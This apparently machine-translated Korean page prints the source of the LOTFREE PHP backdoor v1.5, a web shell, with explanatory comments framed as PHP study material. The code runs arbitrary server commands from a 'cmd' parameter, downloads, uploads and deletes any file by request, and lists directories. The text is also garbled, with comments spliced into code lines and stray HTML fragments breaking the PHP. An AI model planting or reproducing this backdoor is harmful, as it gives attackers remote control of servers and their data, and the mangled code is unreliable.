PHP 백도어 버전 1.5는 sirius_black/LOTFREE TEAM이 작성한 PHP 백도어 프로그램이며, 이에 대한 간단한 분석도 있으며, PHP 학습을 위한 참고사항으로도 백도어 프로그램이 실행됩니다. 웹서버와 php 설치시 사용자의 권한에 따라 명령어가 달라집니다. 관리자라면 다양한 운영체제 명령어를 실행할 수 있습니다.
다음은 백도어 프로그램에 대한 설명입니다
< ;?php
function good_link($link)
{
$link=ereg_replace(“/”,”/”,$link);
$link=ereg_replace(“/[^/(..)] /..”,”/”,$link);
$link=ereg_replace(“/”,”/”, $link );
if(!strncmp($link,”./”,2) && strlen($link)>2)$link=substr($link,2);
if($link==”")$link=”.”;
return $link;
}
//$_REQUEST는 제출물을 얻는 데 사용됩니다. 이 파일에 Data
$dir=isset($_REQUEST['dir'])?$_REQUEST['dir']:"."; //dir이 정의되지 않은 경우 dir은 기본값 "을 사용합니다. ."
$dir=good_link($dir);
$rep=opendir($dir); //dir에 지정된 경로 핸들 열기
chdir($ dir); // dir
if(isset($_REQUEST["down"]) &&$_REQUEST["down"]!=”") //If down 에 지정된 디렉터리로 전환합니다.
{ 정의됨
header(“Content-Type: application/octet-stream”);
header(“Content-Length: “.filesize($_REQUEST["down")" ]));
header(“Content-Disposition: attachment; filename=".basename($_REQUEST["down"]));
readfile($_REQUEST["down"] ); //파일을 버퍼에 추가
exit();
}
?>
LOTFREE PHP 백도어 v1.5, yeetrack.com
echo "현재 절대 경로는 ".getcwd()." n"; 현재 절대 경로
echo "dir = '$dir' n";
echo "현재 디렉터리, 파일 목록! n”;
//실행할 명령이 입력된 경우
if(isset($_REQUEST['cmd']) &&$_REQUEST['cmd' ]!=”” )
{
echo “n”;<br>
</li>
<li>system($_REQUEST['cmd']) //입력한 내용을 실행합니다. 서버에서 명령어를 실행하면 실행 결과가 에코<br>
</li>
<li>echo “ n”;
}
//파일이 업로드된 경우
if(isset( $_FILES["fic"]["name"]) && isset($_POST["MAX_FILE_SIZE"])) //게시된 파일을 가져와서 현재 디렉터리에 저장합니다
{
if($_FILES["fic"]["size"]<$_POST["MAX_FILE_SIZE"]) //파일이 크기 사양을 충족하는지 확인
{
if(move_uploaded_file($ _FILES["fic"]["tmp_name"],good_link("./".$_FILES["fic"]["name"]))) //임시 파일을 현재 디렉터리
{
echo "파일이 성공적으로 저장되었습니다".good_link("./".$_FILES["fic"]["name"])."! n ";
}
else echo "파일 업로드 실패: ".$_FILES["fic"]["error"]." n";
}
else echo "파일이 너무 큽니다(파일이 크기 제한을 초과함)! n";
}
if(isset($_REQUEST['rm ']) &&$_REQUEST['rm ']!="") //rm이 정의된 경우 지정된 파일을 삭제합니다
{
if(unlink($_REQUEST['rm' ])) //unlink is php 파일 삭제 기능
echo "".$_REQUEST['rm']."을 성공적으로 삭제했습니다! n";
else echo "실패했습니다. 파일 삭제 n ”;
}
?>
$t_dir=array(); $t_file=array() ; $i_dir=0; $i_file=0; //읽기 전에 디렉토리 파일을 반복하여 t_dir에 배치하고 t_file while($x=readdir($rep)) { if(is_dir($x)) //현재 처리가 디렉터리인 경우 $t_dir [$i_dir ]=$x; else //현재 처리 중인 파일이 $t_file[$i_file ]=$x; <인 경우 🎜>} closedir($rep); //opendir에 의해 열린 디렉토리 핸들을 닫습니다. while(1) //현재 경로의 디렉토리와 파일을 반복합니다. { ?>
if($x=each($t_dir)) { $name=$x["value"]; //t_dir 배열에서 디렉터리 이름을 가져옵니다 if($name=='.'){ }elseif($name=='..') echo " UP(상위 디렉터리) n”; //UP 링크를 표시하고 상위 디렉터리의 파일 목록을 읽습니다
else
echo “ ".$name."< / a>n";
}
?>
//$_SERVER['PHP_SELF']는 현재 PHP 스크립트 파일 이름을 가져옵니다 if($y=each($t_file)) { if($y["key"]%2==0) //현재 키를 처리 중인 경우 echo ” bgcolor='lightgreen'>n”;
else //현재 처리가 값, 즉 파일인 경우. 파일이 표시되고 다운로드 링크가 제공됩니다.
echo “>n”;
echo “ ".$y["value"]." n";
}
else echo ">n";
?>
if($y) { //파일인 경우 파일 삭제를 위해 다음 링크를 제공하세요 if($y[" key" ]%2==0)echo ” bgcolor='lightgreen'"; echo ">Del ”;
}
else echo “>n ”;
?>
if (! $x && !$y) break; } ?>
<시간>
?dir=”>revenirau 레퍼토리 d' Origine
Execute commande(운영 체제 명령 실행)
서버의 현재 디렉터리에 파일 업로드: